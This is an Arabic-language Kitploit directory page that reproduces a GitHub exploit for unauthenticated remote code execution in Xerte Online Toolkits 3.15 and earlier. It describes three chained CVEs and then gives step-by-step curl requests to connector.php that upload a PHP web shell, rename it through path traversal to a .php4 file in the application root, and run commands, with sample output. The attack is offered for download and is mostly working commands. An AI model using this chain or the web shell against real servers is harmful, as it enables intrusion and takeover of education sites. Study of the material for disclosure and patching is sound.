Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/bootstrapbool/xerteonlinetoolkits-rce
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubbootstrapbool/xerteonlinetoolkits-rce

xerteonlinetoolkits-rce

استغلال غير مصادق عليه لأدوات Xerte Online Toolkits. يتطلب معرفة اسم مستخدم صالح.

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Xerte Online Toolkits <= 3.15 تنفيذ التعليمات البرمجية عن بُعد

تعاني إصدارات Xerte Online Toolkits 3.15 والإصدارات الأقدم من 3 ثغرات في مكوّن /editor/elfinder/php/connector.php، والتي يمكن لمهاجم غير مصادَق أن يسلسلها معًا لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE).

الإصدارات المتأثرة

Xerte Online Toolkits <= 3.15

تم تطبيق تصحيح مُعاد توجيهه (backported patch) على الإصدارات 3.15 و3.14 و3.13

CWE-306: غياب المصادقة لوظيفة حرجة - CVE-2026-34413

يمكن للمستخدمين غير المصادَق عليهم إرسال طلبات إلى مكوّن الموصل في /editor/elfinder/php/connector.php

الكود التالي يُستخدم للتحكم في الوصول.

الملف: /editor/elfinder/php/connector.php رقم السطر: 35

root@kitploit:~
if (!isset($_SESSION['toolkits_logon_id'])){
    header("location: ../../../index.php");
}

هذا يعيد توجيه المستخدمين غير المصادَق عليهم، مما يمنعهم من تلقي استجابة الطلبات غير المصادَق عليها، لكنه لا ينهي الجلسة وما زال الكود اللاحق يُنفَّذ.

CWE-23: عبور المسار النسبي - CVE-2026-34414

*يتطلب معرفة المهاجم باسم الملف الذي يريد نقله

يمكن للمهاجمين التلاعب بمعامل "name" في طلب "rename" إلى نقطة النهاية connector.php. وهذا يسمح للمهاجمين باستخدام دليل موجود لنقل الملفات خارج دليل الوسائط الخاص بالمستخدمين.

CWE-184: قائمة غير مكتملة من المدخلات غير المسموح بها - CVE-2026-34415

بسبب خطأ في التعبير النمطي (regex) الخاص بمرشح امتداد الملف في connector.php، يمكن للمهاجمين ربط ثغرة عبور المسار الموجودة في الإصدارات نفسها من Xerte بشكل متسلسل لنقل ملف يحتوي على كود PHP خبيث إلى جذر التطبيق بامتداد .php4.

الملف: /editor/elfinder/php/connector.php رقم السطر: 130

root@kitploit:~
array( // hide readmes
    'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
    'read'   => false,

التعبير النمطي php* يطابق الحرف السابق فقط. لذلك فهو يطابق ما يلي: "ph" و"php" و"phppp" وما إلى ذلك...

خطوات إعادة إنتاج متجه الهجوم المتسلسل

تنفيذ التعليمات البرمجية عن بُعد دون مصادقة

إذا كانت المصادقة مفعّلة (وهو ليس الإعداد الافتراضي لتكوين Xerte)، فيجب على المهاجم معرفة (أو تخمينها بالقوة العمياء) اسم مستخدم صالح. إذا تم استخدام مصادقة الضيف (الافتراضية)، فسيكون دليل المشروع الهدف ببساطة هو 1--Nottingham.

يمكن لمهاجم غير مصادَق إنشاء دليل "example_dir" ورفع ملف "file.txt" يحتوي على كود PHP خبيث إلى أي دليل مشروع ضمن USER-FILES/

يمكنه بعد ذلك استخدام ثغرتي عبور المسار النسبي وقائمة المدخلات غير المسموح بها غير المكتملة الموجودتين في Xerte لتنفيذ عبور المسار عن طريق تغيير اسم الملف المرفوع إلى "example_dir/../../../../file.php4"، ونقل file.txt إلى جذر التطبيق باسم "file.php4"، مما يمنح المهاجم تنفيذ التعليمات البرمجية عن بُعد.

  1. الحصول على مسار جذر التطبيق الكامل
root@kitploit:~
curl 'http://localhost/xt/setup'
  1. إنشاء الدليل

معاملات الطلب: uploadDir: جذر التطبيق + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: عنوان URL لدليل المشروع cmd: mkdir name: اسم الدليل الجديد target: معرّف elfinder لدليل media/. نظرًا لأنه جذر elfinder، فسيكون دائمًا "l1_Lw"

root@kitploit:~
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
  1. رفع ملف PHP خبيث

*وسم
في الحمولة يمنع مرشح نوع MIME في elfinder من اكتشاف كود PHP.

معاملات الطلب: uploadDir: جذر التطبيق + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: عنوان URL لدليل المشروع cmd: upload target: معرّف elfinder لدليل media/. نظرًا لأنه جذر elfinder، فسيكون دائمًا "l1_Lw" upload[]: الملف المراد رفعه.

root@kitploit:~
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
    -F 'cmd=upload' \
    -F 'target=l1_Lw' \
    -F "upload[][email protected];type=text/plain"
  1. توليد معرّف elfinder للملف الجديد
root@kitploit:~
echo -n 'file.txt' | base64
ZmlsZS50eHQ=

تأكد من إزالة الحشو (padding)، وفي هذه الحالة يكون فقط "="

أضف معرّف وحدة التخزين. سيكون دائمًا "l1" (كما في "/")

النتيجة: l1_ZmlsZS50eHQ

  1. إعادة تسمية الملف وتنفيذ عبور المسار النسبي

معاملات الطلب: uploadDir: جذر التطبيق + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: عنوان URL لدليل المشروع cmd: rename name: اسم الدليل وتسلسل عبور المسار واسم الملف الجديد بامتداد .php4 target: معرّف elfinder الذي ولدناه من الملف الجديد l1_ZmlsZS50eHQ

root@kitploit:~
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
  1. التحقق من تنفيذ التعليمات البرمجية

معاملات الطلب: cmd: الأمر المراد تنفيذه

root@kitploit:~
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)
تنزيل الأداة